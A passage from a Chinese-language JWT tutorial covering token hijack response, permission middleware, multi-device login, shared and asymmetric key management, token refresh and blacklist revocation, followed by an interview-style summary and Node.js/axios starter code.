# Q2: Token 被劫持了怎么办?
应急方案:
- 立即将该 Token 加入黑名单
- 强制用户重新登录
- 检查日志追踪攻击来源
- 通知用户修改密码
预防措施:
- 使用 HTTPS
- 缩短 Token 有效期
- 绑定用户 IP 或设备指纹
- 实现异常检测(异地登录提醒)
# Q3: 如何实现权限管理?
方案:在 Payload 中添加角色和权限
const token = jwt.sign({
sub: userId,
role: 'admin',
permissions: ['user:read', 'user:write', 'post:delete']
}, secret);
// 中间件验证权限
function requirePermission(permission) {
return (req, res, next) => {
if (!req.user.permissions.includes(permission)) {
return res.status(403).json({ error: '权限不足' });
}
next();
};
}
// 使用
app.delete('/api/post/:id',
authMiddleware,
requirePermission('post:delete'),
deletePost
);
# Q4: 多设备登录怎么处理?
方案 A:允许同时在线
- 每个设备生成不同的 Token
- Token 中记录设备信息
const token = jwt.sign({
sub: userId,
deviceId: generateDeviceId(),
deviceType: 'mobile' // 或 'desktop', 'tablet'
}, secret);
方案 B:单点登录(互斥)
- 同一用户只允许一个 Token 有效
- 新登录使旧 Token 失效
// 登录时将旧 Token 加入黑名单
const oldToken = await getUserToken(userId);
if (oldToken) {
await blacklist.add(oldToken);
}
# Q5: 分布式环境下密钥如何管理?
方案 A:共享密钥(推荐)
- 所有服务使用相同密钥
- 通过配置中心统一管理
# Kubernetes ConfigMap
apiVersion: v1
kind: ConfigMap
metadata:
name: jwt-config
data:
JWT_SECRET: "shared-secret-key"
方案 B:非对称加密
- 认证服务持有私钥
- 其他服务持有公钥验证
// 认证服务生成
const privateKey = fs.readFileSync('private.key');
const token = jwt.sign(payload, privateKey, { algorithm: 'RS256' });
// 其他服务验证
const publicKey = fs.readFileSync('public.key');
jwt.verify(token, publicKey, { algorithms: ['RS256'] });
# Q6: 如何处理 Token 过期?
优雅的处理流程:
// 前端自动刷新
axios.interceptors.response.use(
response => response,
async error => {
if (error.response?.status === 401) {
try {
// 尝试刷新
const { data } = await axios.post('/refresh', {
refreshToken: localStorage.getItem('refresh_token')
});
localStorage.setItem('access_token', data.token);
// 重试原请求
error.config.headers.Authorization = `Bearer ${data.token}`;
return axios(error.config);
} catch (refreshError) {
// 刷新失败,跳转登录
localStorage.removeItem('access_token');
localStorage.removeItem('refresh_token');
window.location.href = '/login';
return Promise.reject(refreshError);
}
}
return Promise.reject(error);
}
);
# Q7: JWT 可以取消吗?
JWT 本身无法取消,但可以通过以下方式实现:
黑名单机制(推荐)
// 登出时加入 Redis 黑名单 await redis.setex(`blacklist:${token}`, remainingTime, '1');短期 Token + 频繁验证
- 设置很短的过期时间(15 分钟)
- 过期后自动刷新
版本控制
- 在 Payload 中加入
version字段 - 修改密钥或检查版本号
- 在 Payload 中加入
# 十三、极简总结(面试必备)
# 🎯 核心知识点
JWT 是什么:
JSON Web Token,一段带数字签名的令牌字符串,用于安全地传递身份信息。
三大组成部分:
- Header:算法和类型
- Payload:用户数据和声明
- Signature:防篡改签名
核心原理:
登录成功后服务端生成 JWT,之后每次请求都带上它,服务端验证签名确认身份。
四大特点:
- ✅ 无状态
- ✅ 跨域友好
- ✅ 自包含
- ✅ 轻量级
五个注意事项:
- ⚠️ 不存敏感信息
- ⚠️ 必须设置过期时间
- ⚠️ 密钥要妥善保管
- ⚠️ 必须使用 HTTPS
- ⚠️ 防范 XSS 和 CSRF
# 💡 面试高频问题
Q: JWT 有什么优缺点?
答:
- 优点:无状态、跨域、自包含、性能好、通用
- 缺点:无法主动失效、体积大、不能存敏感信息
Q: JWT 如何保证安全?
答:
- 使用强密钥 + HTTPS
- 设置短过期时间
- Payload 不存敏感信息
- 防范 XSS/CSRF 攻击
- 实现 Token 刷新和黑名单机制
Q: JWT 和 Session 的区别?
答:
| 维度 | Session | JWT |
|---|---|---|
| 存储位置 | 服务端 | 客户端 |
| 扩展性 | 差(需共享) | 好(无状态) |
| 跨域 | 困难 | 天然支持 |
| 性能 | 需查存储 | 仅验证签名 |
| 安全 | 依赖 Cookie | 需防 XSS/CSRF |
# 📝 快速上手模板
后端(Node.js):
const jwt = require('jsonwebtoken');
// 生成 Token
const token = jwt.sign(
{ sub: userId, username: 'xxx' },
process.env.JWT_SECRET,
{ expiresIn: '2h' }
);
// 验证中间件
function auth(req, res, next) {
const token = req.headers.authorization?.split(' ')[1];
try {
req.user = jwt.verify(token, process.env.JWT_SECRET);
next();
} catch {
res.status(401).json({ error: '认证失败' });
}
}
前端(Vue/React):
// 登录
const { data } = await axios.post('/login', { username, password });
localStorage.setItem('token', data.token);
// 请求拦截器
axios.interceptors.request.use(config => {
const token = localStorage.getItem('token');
if (token) {
config.headers.Authorization = `Bearer ${token}`;
}
return config;
});
# 🔗 延伸学习
官方文档:
- RFC 7519: https://tools.ietf.org/html/rfc7519
- JWT.io: https://jwt.io
推荐文章:
- 《JSON Web Tokens》官方文档
- 《Authentication vs Authorization》
- 《OAuth 2.0 与 JWT 结合使用》
开源项目参考:
- Node.js: https://github.com/auth0/node-jsonwebtoken
- Python: https://github.com/jpadilla/pyjwt
- Java: https://github.com/jwtk/jjwt
最后提醒:
JWT 是强大的工具,但要用得安全!始终记住:不在 Payload 存敏感信息、设置过期时间、保护好密钥、使用 HTTPS。
上一篇: 下一篇: